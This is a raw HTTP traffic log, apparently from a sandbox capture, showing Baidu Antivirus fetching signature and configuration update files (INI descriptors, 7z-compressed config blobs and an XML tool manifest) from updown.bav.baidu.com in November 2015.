..[.F.i.l.e.].....S.e.l.f.M.d.5.=.8.1.2.2.2.B.6.B.1.0.4.4.B.5.C.9.B.7.
C.4.0.0.D.3.A.E.5.2.2.E.E.F.....C.o.n.f.i.g.D.i.r.=.....S.i.g.n.T.y.p.
e.=.2.....S.i.g.n.C.o.u.n.t.=.2.....V.e.r.s.i.o.n.=.2.1.1.3.4.1.1.5.9.
4.....D.i.r.e.c.t.o.r.y.=.....F.i.l.e.N.a.m.e.0.=.M.i.c.r.o.S.i.g.n.M.
e.r.g.e.H.i.s.t.o.r.y...i.n.i.....F.i.l.e.S.i.z.e.0.=.1.5.4.4.4.....F.
i.l.e.C.r.c.0.=.2.7.2.7.7.4.7.1.0.4.....F.i.l.e.N.a.m.e.1.=.n.s.c...i.
n.i.....F.i.l.e.S.i.z.e.1.=.6.3.2.....F.i.l.e.C.r.c.1.=.7.7.7.2.1.8.7.
8.2.....

GET /bav_featurelib/micro/2113411594/nsc.ini.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:29 GMT

Content-Type: text/plain

Content-Length: 283

Connection: keep-alive

ETag: "6f160b2-11b-51e30b2a56300"

Last-Modified: Wed, 26 Aug 2015 06:09:48 GMT

Age: 517649

Accept-Ranges: bytes

Ohc-Content-Crc: 2524995340

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

7z..'...g&..........P..........e.-..../O....^...T.kSA...}f/..k..'7..Oh
k.....H(..M....:...c.&...wZ..}?8P.......G5YQ..O....c.E0......d...S.#S.
...H...;K.......d.,...G..xrO....Lz;$'F/..&.b.88..R..p@................
.......#....]......x.....jS........n.s.c...i.n.i.......'pt......... ..
.......

GET /bav_featurelib/micro/2113411594/MicroSignMergeHistory.ini.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:29 GMT

Content-Type: text/plain

Content-Length: 1582

Connection: keep-alive

ETag: "6f160ae-62e-51e30b2a56300"

Last-Modified: Wed, 26 Aug 2015 06:09:48 GMT

Age: 517772

Accept-Ranges: bytes

Ohc-Content-Crc: 3637696654

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
7z..'...............t........b............ ......t.q.....,".m...3.....
.!..'.w....`|b.c>.e..Y>.D.z......R...cs9.5]}.iu.7nSO...5.BS...Q.
u.Pz$........ .3-1.....F}.".!.c4rt..c,...;..i...IY.U.b ..ax...........
$......}....3.)J.<....X..........,.3........V(V....1......f"..\....
.h... z....d....Vh.....S..y.0.V..<...)K....kO..kq|H1..Q.UJ@...:.i.[
.1\...`o......S.....w.y6..b.s.....4$..t........p.dL.\.......>0.....
.cI.......6....K.3.BL..Wj;..C.K5.{..QV......[D.....e.=..A.v..........{
9u..W..&....QQ..c..p.5C....K...j..b..R..rb..D*q..!SSFcdi?Fg...... .f..
..1...o6.?4.....%....^CtA8.k@..c.......Y[....o.H./..unT.......Kt.p...w
..S.rD..~$..."..9..x.........p.e.ET..NH..J.)./..F5......~....p(.{..3B.
W."...(....h..S.1ui...^{..f[.0.G,yX....e.\..z........-..........mWw..[
l..s.1..0............7.0..ri.g......*..A.U....y^E|.......l9......F....
rw....N..........%....H<........y[.....".w......."~.....?..N...}.K3
z.Re....EP].....Y.Kn.......}.&..Y=g.........H....q...0. p.^...._...S3.
....w. ..R.1.5ZM.(...yR..l].Z.......>.c4.?..s.....X.|..C.]......p.0
...........2............... U....CT......."8....hx.........SK~....X_..
.2..D.z....!JN..O.w..z.ISp.,|.....Y...#ti..n.....P.9>...t.kU...OZ..
f%..(.........:....??}erV...3../..h......j.>.f.Vu...h .E..T*V..2...
...Dt..0.c]F F&_....k..A....~..y..........\ ......=..A......P3..@.....
..d..d.D.2Bb.....8[..!F}.....9=....Z....3V....Y...}...4......;....|..l
../.)4...{.*[.....C...."{...ym. .c.E--..Z....}-.;|.........>......&
gt;.,......7.g.jv......1...................#....]......T.... .....<<< skipped >>>

GET /bav_featurelib/url/2112950282/urlConfigFileInfo.ini HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:29 GMT

Content-Type: text/plain

Content-Length: 372

Connection: keep-alive

ETag: "e270727-174-51506c560dd40"

Last-Modified: Fri, 01 May 2015 15:21:49 GMT

Age: 632846

Accept-Ranges: bytes

Ohc-Content-Crc: 3409828779

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

..[.F.i.l.e.].....S.e.l.f.M.d.5.=.6.0.5.D.0.6.9.B.4.1.F.5.C.7.E.2.6.7.
3.0.3.2.1.9.F.8.0.A.2.F.D.6.....C.o.n.f.i.g.D.i.r.=.d.a.t.a.....S.i.g.
n.T.y.p.e.=.4.....S.i.g.n.C.o.u.n.t.=.1.....V.e.r.s.i.o.n.=.2.1.1.2.9.
5.0.2.8.2.....D.i.r.e.c.t.o.r.y.=.d.a.t.a.....F.i.l.e.N.a.m.e.0.=.u.r.
l.C.o.n.f.i.g...i.n.i.....F.i.l.e.S.i.z.e.0.=.2.7.2.....F.i.l.e.C.r.c.
0.=.4.2.0.1.9.8.8.3.2.....

GET /bav_featurelib/url/2112950282/data/urlConfig.ini.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:30 GMT

Content-Type: text/plain

Content-Length: 278

Connection: keep-alive

ETag: "e270724-116-51506c560dd40"

Last-Modified: Fri, 01 May 2015 15:21:49 GMT

Age: 679110

Accept-Ranges: bytes

Ohc-Content-Crc: 1657615138

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

7z..'....I..........\......._.M}..........p...cT..n.1.2.k.[..c....r...
_.........ib....&./...C.K...$,.. kQ.Y....%.q...h._../..}..l.s$5a.x.)..
.#....n....r.~..[..?.. .w.>.E.*.t8...B#0%.%.................#....].
.....................u.r.l.C.o.n.f.i.g...i.n.i........Xp.51...... ....
.....

GET /bav_featurelib/rcs/2113147145/rcsConfigFileInfo.ini HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:30 GMT

Content-Type: text/plain

Content-Length: 372

Connection: keep-alive

ETag: "e034829-174-51506d28d0e80"

Last-Modified: Fri, 01 May 2015 15:25:30 GMT

Age: 640259

Accept-Ranges: bytes

Ohc-Content-Crc: 3979557961

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

..[.F.i.l.e.].....S.e.l.f.M.d.5.=.4.C.3.1.0.1.8.D.3.E.9.E.8.5.A.D.8.2.
B.E.5.7.D.1.C.0.2.C.3.C.5.A.....C.o.n.f.i.g.D.i.r.=.d.a.t.a.....S.i.g.
n.T.y.p.e.=.8.....S.i.g.n.C.o.u.n.t.=.1.....V.e.r.s.i.o.n.=.2.1.1.3.1.
4.7.1.4.5.....D.i.r.e.c.t.o.r.y.=.d.a.t.a.....F.i.l.e.N.a.m.e.0.=.r.c.
s.C.o.n.f.i.g...i.n.i.....F.i.l.e.S.i.z.e.0.=.4.4.8.....F.i.l.e.C.r.c.
0.=.3.3.2.8.0.4.3.0.1.....

GET /bav_featurelib/rcs/2113147145/data/rcsConfig.ini.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:30 GMT

Content-Type: text/plain

Content-Length: 372

Connection: keep-alive

ETag: "e034829-174-51506d28d0e80"

Last-Modified: Fri, 01 May 2015 15:25:30 GMT

Age: 640259

Accept-Ranges: bytes

Ohc-Content-Crc: 3979557961

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

..[.F.i.l.e.].....S.e.l.f.M.d.5.=.4.C.3.1.0.1.8.D.3.E.9.E.8.5.A.D.8.2.
B.E.5.7.D.1.C.0.2.C.3.C.5.A.....C.o.n.f.i.g.D.i.r.=.d.a.t.a.....S.i.g.
n.T.y.p.e.=.8.....S.i.g.n.C.o.u.n.t.=.1.....V.e.r.s.i.o.n.=.2.1.1.3.1.
4.7.1.4.5.....D.i.r.e.c.t.o.r.y.=.d.a.t.a.....F.i.l.e.N.a.m.e.0.=.r.c.
s.C.o.n.f.i.g...i.n.i.....F.i.l.e.S.i.z.e.0.=.4.4.8.....F.i.l.e.C.r.c.
0.=.3.3.2.8.0.4.3.0.1.HTTP/1.1 200 OK..Date: Tue, 24 Nov 2015 07:04:31
 GMT..Content-Type: text/plain..Content-Length: 334..Connection: keep-
alive..ETag: "e0ac82a-14e-51506d28d0e80"..Last-Modified: Fri, 01 May 2
015 15:25:30 GMT..Age: 639823..Accept-Ranges: bytes..Ohc-Content-Crc: 
2975353727..Server: hkg01-sys-jorcol06.hkg01.baidu.com..CDN-AGE: 1..7z
..'...}.7_........\........i........r...<).u.3.....,..o...4..'....F
...g..~..U.!....(.;.h.&uR....\......OMy4.f..........)....#.......iY.7.
..J...[....3,..`......[..W...e.. ..04..!.D.F<...H..-.".H......:.R.v
5A..B.G. ....\*..I.0U...&..E..u.Gr................#....]............0.
........r.c.s.C.o.n.f.i.g...i.n.i........Q...x...... .........

GET /bav_featurelib/srsl/2112953098/srslConfigFileInfo.ini HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:31 GMT

Content-Type: text/plain

Content-Length: 378

Connection: keep-alive

ETag: "e29a041-17a-51506cffcedc0"

Last-Modified: Fri, 01 May 2015 15:24:47 GMT

Age: 673911

Accept-Ranges: bytes

Ohc-Content-Crc: 3575214333

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

..[.F.i.l.e.].....S.e.l.f.M.d.5.=.F.4.D.F.F.4.D.6.A.2.4.1.B.0.A.4.1.1.
1.0.7.3.4.4.3.3.C.3.3.3.3.D.....C.o.n.f.i.g.D.i.r.=.d.a.t.a.....S.i.g.
n.T.y.p.e.=.1.6.....S.i.g.n.C.o.u.n.t.=.1.....V.e.r.s.i.o.n.=.2.1.1.2.
9.5.3.0.9.8.....D.i.r.e.c.t.o.r.y.=.d.a.t.a.....F.i.l.e.N.a.m.e.0.=.s.
r.s.l.C.o.n.f.i.g...i.n.i.....F.i.l.e.S.i.z.e.0.=.9.7.6.....F.i.l.e.C.
r.c.0.=.3.4.4.4.4.8.0.6.3.6.....

GET /bav_featurelib/srsl/2112953098/data/srslConfig.ini.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:31 GMT

Content-Type: text/plain

Content-Length: 465

Connection: keep-alive

ETag: "e29a03e-1d1-51506cffcedc0"

Last-Modified: Fri, 01 May 2015 15:24:47 GMT

Age: 673510

Accept-Ranges: bytes

Ohc-Content-Crc: 3746904633

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
7z..'...Ht..S.......^.......f.pF......zaI..l..l..E...j.....j.yj.^..N.p
.....$".!#.{.j.S.#r...%.MT;..Z.C....OCx..C........V._....Y..]...1...n.
!...&...UX|..Y....5IH.K.l.C..3].....D..(..^..<L...$.l3&... 3$..rX.c
.&.f..\h.Lz...-&.Su..&.a.........:1.j...............J....i.=.......a.2
..b5n..../....bX.v.Yfj........N.......?.....MG..Z.s..jm=..z...~....F..
R...V../...q.....D4c..o........S......#....]...........|.N........s.r.
s.l.C.o.n.f.i.g...i.n.i.......y..(.9...... .........


GET /bav_featurelib/bavrr/2113343241/bavrrConfigFileInfo.ini HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:32 GMT

Content-Type: text/plain

Content-Length: 380

Connection: keep-alive

ETag: "83b23f9-17c-51ae08e1fd2c0"

Last-Modified: Wed, 15 Jul 2015 02:17:23 GMT

Age: 534901

Accept-Ranges: bytes

Ohc-Content-Crc: 3673265830

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

..[.F.i.l.e.].....S.e.l.f.M.d.5.=.E.0.5.E.C.9.0.A.9.A.2.4.1.5.3.6.0.7.
B.0.D.F.9.9.C.E.5.F.6.7.4.C.....C.o.n.f.i.g.D.i.r.=.d.a.t.a.....S.i.g.
n.T.y.p.e.=.3.2.....S.i.g.n.C.o.u.n.t.=.1.....V.e.r.s.i.o.n.=.2.1.1.3.
3.4.3.2.4.1.....D.i.r.e.c.t.o.r.y.=.d.a.t.a.....F.i.l.e.N.a.m.e.0.=.b.
a.v.r.r.C.o.n.f.i.g...i.n.i.....F.i.l.e.S.i.z.e.0.=.2.7.4.....F.i.l.e.
C.r.c.0.=.3.2.1.3.1.5.2.0.2.9.....

GET /bav_featurelib/bavrr/2113343241/data/bavrrConfig.ini.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:32 GMT

Content-Type: text/plain

Content-Length: 275

Connection: keep-alive

ETag: "6ab828d-113-51ae08e1fd2c0"

Last-Modified: Wed, 15 Jul 2015 02:17:23 GMT

Age: 534711

Accept-Ranges: bytes

Ohc-Content-Crc: 3526947786

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
7z..'...............`.......f...............2.|.a....8.lFQ....c..\..r`
.2.Z.F2"`i.7. .s..J.... .N.G......6...=.....$0.78<......S.........0
.o.9g.=x.}?.{<.8..Tl......n.g)....;..gZ.t...............#....].....
...............!.b.a.v.r.r.C.o.n.f.i.g...i.n.i.......\........... ....
.....


GET /bav_featurelib/adblock/2112950282/adblockConfigFileInfo.ini HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:33 GMT

Content-Type: text/plain

Content-Length: 384

Connection: keep-alive

ETag: "e29a0a0-180-51506cffcedc0"

Last-Modified: Fri, 01 May 2015 15:24:47 GMT

Age: 628079

Accept-Ranges: bytes

Ohc-Content-Crc: 120468277

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

..[.F.i.l.e.].....S.e.l.f.M.d.5.=.F.E.D.1.E.B.C.6.C.0.2.4.9.B.A.3.E.6.
5.D.6.7.5.B.B.C.7.E.6.F.F.2.....C.o.n.f.i.g.D.i.r.=.d.a.t.a.....S.i.g.
n.T.y.p.e.=.6.4.....S.i.g.n.C.o.u.n.t.=.1.....V.e.r.s.i.o.n.=.2.1.1.2.
9.5.0.2.8.2.....D.i.r.e.c.t.o.r.y.=.d.a.t.a.....F.i.l.e.N.a.m.e.0.=.a.
d.b.l.o.c.k.C.o.n.f.i.g...i.n.i.....F.i.l.e.S.i.z.e.0.=.4.5.6.....F.i.
l.e.C.r.c.0.=.1.7.0.4.8.1.0.5.7.7.....

GET /bav_featurelib/adblock/2112950282/data/adblockConfig.ini.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:33 GMT

Content-Type: text/plain

Content-Length: 345

Connection: keep-alive

ETag: "e29a0a4-159-51506cffcedc0"

Last-Modified: Fri, 01 May 2015 15:24:47 GMT

Age: 629969

Accept-Ranges: bytes

Ohc-Content-Crc: 2366525953

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
7z..'...............d.......^..x.........:..G8..,.8-...^{..(..]/......
..G.gAf/.R.......^...L......<.Q.. .(..[e.....I......I-N.^T.{.2."...
.. .YK...j..q.]Sr..*;.f......n.....`.N..Y...=.;Pg.,.B...'6.....(Z.re.-
.-....Cg....h..$..Kz.qM..t..:8.....I>...............#....].........
..QX.e.....%.a.d.b.l.o.c.k.C.o.n.f.i.g...i.n.i.......T..&01...... ....
.....


GET /bav_featurelib/plugindata/2113344777/plugindataConfigFileInfo.ini HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:33 GMT

Content-Type: text/plain

Content-Length: 398

Connection: keep-alive

ETag: "6e747d2-18e-51b59384a8380"

Last-Modified: Tue, 21 Jul 2015 02:14:54 GMT

Age: 1203252

Accept-Ranges: bytes

Ohc-Content-Crc: 4292311111

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

..[.F.i.l.e.].....S.e.l.f.M.d.5.=.0.A.1.7.2.D.F.F.B.8.D.D.1.6.1.5.9.C.
3.1.7.3.C.D.6.8.B.C.C.B.7.F.....C.o.n.f.i.g.D.i.r.=.d.a.t.a.....S.i.g.
n.T.y.p.e.=.1.2.8.....S.i.g.n.C.o.u.n.t.=.1.....V.e.r.s.i.o.n.=.2.1.1.
3.3.4.4.7.7.7.....D.i.r.e.c.t.o.r.y.=.d.a.t.a.....F.i.l.e.N.a.m.e.0.=.
p.l.u.g.i.n.d.a.t.a.C.o.n.f.i.g...i.n.i.....F.i.l.e.S.i.z.e.0.=.1.9.9.
5.0.6.....F.i.l.e.C.r.c.0.=.1.1.1.1.1.0.9.1.4.0.....

GET /bav_featurelib/plugindata/2113344777/data/plugindataConfig.ini.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:34 GMT

Content-Type: text/plain

Content-Length: 35084

Connection: keep-alive

ETag: "6eea226-890c-51b59384a8380"

Last-Modified: Tue, 21 Jul 2015 02:14:54 GMT

Age: 1203079

Accept-Ranges: bytes

Ohc-Content-Crc: 4098966311

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
7z..'.....-B........l........(........c&.....g.Ldh..G*..H..y...B......
6G..Lh......? %D..C.5E\..T.w.s]...3t..|...j.Q.42...p4...?o.!..fG.t.4..
j$k..".O......Q6."..p...E.>@.......z.F....W.].~.cE\.........-.....3
.u.F....=p..^..wK.g..w...t.CP.C!#9?l....k.L..U..#9.hP\<.q.....R.?6.
......]..Y.W.V...."|..Zk.ok...6.b...L..fC-"...b...%....k.E...Q......-.
.(GW~%....#..K>.]2....,.h..8...<b.........'.Z..1p"....(|.).w1 ];
oK=...]X.MX..}q.....b.I......g{........:.Ht. .. ?... .V.<.p.. 51...
BF./.X~..T.....Y.I..e.a]$A'.BV....n...C.....GY...O.3.d...x....-s.GG.2n
...).u7..2<YcB.......&...=.. |@$C.T.fL...Zwmg..Mb..!`....X...b...r.
=...H........L..~.q.5..r.>..d...@)..%..q.xF..V.V_.&jm.z.x.n'.2Dk...
_.)?....z.R/hTc|.......Z. .b{...Y.VJ~S.......b1..?...K..9.9.....~(qc..
.[.A.F..\.ixq.D9....!..v ..\4'.....4i..\@......i...^.....U.... ......{
...2.h$.r...C>..RWM..b)....xA5s........=gi;5G...-R_.....Ik.W......]
5... .N.... .........LH.nY...Z.w.....|.....{"....~..C..5....Hn8}..4.@.
cB...r8:...*$...M...gbC...{v.#G.`.h.....'"....zD....|..2...U.H"._.."x.
.J.....{...Xu.:..P.G..Q...FU.......H.=..**f_.*!nr...=.......,.e.*..\..
Uf.p6).~..[......n6...)<Z...u ...p.D.. e...v..e..ak....&@?*...#....
...=.....9K.u.N..=.N...h..au..8.YSy.\.p .]....U*sd.u.?!y..v....N...9..
......jr.~...sv...0.e.W..g......*/.JC_.[>......S......G.J_.w.......
Z..dg(.L7.$..`....B...6Q...o....Pv..M..G.&.`..bt.'...b).WY...J....D..!
4.*!..(..*....C..O..../LmHUl.dKI.y....P=....gm.W =..z...(2..=..y.5..\.
.YQ...J....$.....h....]T.m...i...Q..,.o.r%...7t.M.{.*J'.Nn.."..<<<< skipped >>>

GET /baidu_tool/6BA17A92-4345-49c0-A228-A57C2E779055/1.0.0.5/ToolFileList.xml HTTP/1.1

Accept: */*

Range: bytes=0-

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: updown.bav.baidu.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:04:34 GMT

Content-Type: application/xml

Content-Length: 1193

Connection: keep-alive

ETag: "dbfc686-4a9-515066b325100"

Last-Modified: Fri, 01 May 2015 14:56:36 GMT

Age: 646969

Content-Range: bytes 0-1192/1193

Accept-Ranges: bytes

Ohc-Content-Crc: 2600536244

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1
...<?xml version="1.0" encoding="UTF-8"?>..<ToolFileList>.
.<SelfCheck Size="0x000004a9" Md5="0xF29A001EEA545C49856F2FF611453A
55" />..<ToolInstall>..<File Name="6BA17A92-4345-49c0-A228
-A57C2E779055.zip" Size="0x001949ae" Time="0x01d0727dc3168ecb" Md5="0x
b344fe5749a1f6ba4ceaac04a9672e83" />..</ToolInstall>..<Too
lSummary>..<File Name="detail.xml.7z" Size="0x000003ef" Time="0x
01d0727dc5c81443" Md5="0x8c7cfdb0869c2065af3c99d64d459c91" DcSize="0x0
0000846" DcTime="0x01d071e32b3e2dce" DcMd5="0xbab6d9013052750a928ae025
7ea4add6" />..<File Name="detailDef.xml.7z" Size="0x000003f5" Ti
me="0x01d0727dc5ca5e42" Md5="0xdc94497e047b163b11fd2ef7367418d2" DcSiz
e="0x00000846" DcTime="0x01d071e32b3e2dce" DcMd5="0xbab6d9013052750a92
8ae0257ea4add6" />..<File Name="gray_icon.png.7z" Size="0x000006
e4" Time="0x01d0727dc5cccf52" Md5="0x4ea539fbfc6203d3e0051a3feb0867a1"
 DcSize="0x000007eb" DcTime="0x01d024d34f12096c" DcMd5="0x19b3f184f164
d95237da4f8a4234885e" />..<File Name="icon.png.7z" Size="0x00000
77f" Time="0x01d0727dc5cf6773" Md5="0xae848c1a12da815e862677fa8e7cd29f
" DcSize="0x00000886" DcTime="0x01d023466313ca7e" DcMd5="0x663beff1978
7c0321e05c0c816156f5e" />..</ToolSummary>..</ToolFileList&
gt;....
<<< skipped >>>

GET /bav_featurelib/bavdd/2113012750/bavddConfigFileInfo.ini HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:35 GMT

Content-Type: text/plain

Content-Length: 380

Connection: keep-alive

ETag: "e2c2009-17c-51506d28d0e80"

Last-Modified: Fri, 01 May 2015 15:25:30 GMT

Age: 628911

Accept-Ranges: bytes

Ohc-Content-Crc: 349867863

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

..[.F.i.l.e.].....S.e.l.f.M.d.5.=.C.8.D.2.2.2.9.4.0.A.A.A.6.F.B.4.B.E.
E.B.5.5.7.8.9.1.D.3.3.6.C.F.....C.o.n.f.i.g.D.i.r.=.d.a.t.a.....S.i.g.
n.T.y.p.e.=.2.5.6.....S.i.g.n.C.o.u.n.t.=.1.....V.e.r.s.i.o.n.=.2.1.1.
3.0.1.2.7.5.0.....D.i.r.e.c.t.o.r.y.=.d.a.t.a.....F.i.l.e.N.a.m.e.0.=.
b.a.v.d.d.C.o.n.f.i.g...i.n.i.....F.i.l.e.S.i.z.e.0.=.2.8.0.....F.i.l.
e.C.r.c.0.=.9.3.1.0.7.8.7.0.0.....

GET /bav_featurelib/bavdd/2113012750/data/bavddConfig.ini.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:35 GMT

Content-Type: text/plain

Content-Length: 280

Connection: keep-alive

ETag: "e2c200f-118-51506d28d0e80"

Last-Modified: Fri, 01 May 2015 15:25:30 GMT

Age: 628746

Accept-Ranges: bytes

Ohc-Content-Crc: 4077163658

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

7z..'...5K..........`........2.3............ .w.)GI.... {3"....f.M.$..
... ..;$..8.T......0 .Wo.D.U|.o...6......H.p.4.U/a..[t.y...rU.`..V...6
...K..5.P.........Y.:8U..B......nl..H^.0..................#....]......
.....,".7.....!.b.a.v.d.d.C.o.n.f.i.g...i.n.i.........a.F@...... .....
....

GET /bav_featurelib/startup/2113278481/startupConfigFileInfo.ini HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:36 GMT

Content-Type: text/plain

Content-Length: 386

Connection: keep-alive

ETag: "6de2861-182-518c822355680"

Last-Modified: Thu, 18 Jun 2015 10:18:50 GMT

Age: 419699

Accept-Ranges: bytes

Ohc-Content-Crc: 3869931819

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

..[.F.i.l.e.].....S.e.l.f.M.d.5.=.1.3.9.F.C.0.A.4.F.D.5.D.C.4.0.A.8.0.
2.B.F.D.7.F.1.E.8.3.9.2.9.2.....C.o.n.f.i.g.D.i.r.=.d.a.t.a.....S.i.g.
n.T.y.p.e.=.5.1.2.....S.i.g.n.C.o.u.n.t.=.1.....V.e.r.s.i.o.n.=.2.1.1.
3.2.7.8.4.8.1.....D.i.r.e.c.t.o.r.y.=.d.a.t.a.....F.i.l.e.N.a.m.e.0.=.
s.t.a.r.t.u.p.C.o.n.f.i.g...i.n.i.....F.i.l.e.S.i.z.e.0.=.4.4.6.....F.
i.l.e.C.r.c.0.=.4.2.3.1.1.3.4.2.0.9.....

GET /bav_featurelib/startup/2113278481/data/startupConfig.ini.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:36 GMT

Content-Type: text/plain

Content-Length: 330

Connection: keep-alive

ETag: "6de285e-14a-518c822355680"

Last-Modified: Thu, 18 Jun 2015 10:18:50 GMT

Age: 419480

Accept-Ranges: bytes

Ohc-Content-Crc: 2063107537

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

7z..'...............d..........A......zaM2.J.Pd)...T9T.r.~.W.&..V."...
.B&.]..mIN.!X0.K...Q.j...'..../....c..1W...q..l..Q....1... ![..s_;....
......7 -g...... . .-,n...V.]gL.0*s..%#p.c....r...7..8...x.^Z.....J.Ho
H..b..u..B.h.i..&1n...............#....].............1......%.s.t.a.r.
t.u.p.C.o.n.f.i.g...i.n.i......../.Y........ .........

GET /bav_featurelib/bavbh/2113214996/bavbhConfigFileInfo.ini HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:36 GMT

Content-Type: text/plain

Content-Length: 384

Connection: keep-alive

ETag: "6d223fb-180-516fb6adca240"

Last-Modified: Tue, 26 May 2015 12:39:29 GMT

Age: 1188699

Accept-Ranges: bytes

Ohc-Content-Crc: 2375562520

Server: hkg01-sys-jorcol06.hkg01.baidu.com

CDN-AGE: 1

..[.F.i.l.e.].....S.e.l.f.M.d.5.=.B.9.C.7.8.9.5.0.8.4.3.A.8.0.9.B.5.9.
B.E.5.A.7.A.3.4.0.0.B.A.A.A.....C.o.n.f.i.g.D.i.r.=.d.a.t.a.....S.i.g.
n.T.y.p.e.=.2.0.4.8.....S.i.g.n.C.o.u.n.t.=.1.....V.e.r.s.i.o.n.=.2.1.
1.3.2.1.4.9.9.6.....D.i.r.e.c.t.o.r.y.=.d.a.t.a.....F.i.l.e.N.a.m.e.0.
=.b.a.v.b.h.C.o.n.f.i.g...i.n.i.....F.i.l.e.S.i.z.e.0.=.6.0.4.....F.i.
l.e.C.r.c.0.=.1.3.3.8.0.3.0.0.2.9.....

GET /bav_featurelib/bavbh/2113214996/data/bavbhConfig.ini.7z HTTP/1.1

Accept: */*

Cache-Control: no-cache

User-Agent: 5.4.3.147185

Host: updown.bav.baidu.com

Connection: Keep-Alive

Pragma: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:37 GMT

Content-Type: text/plain

Content-Length: 365

Connection: keep-alive

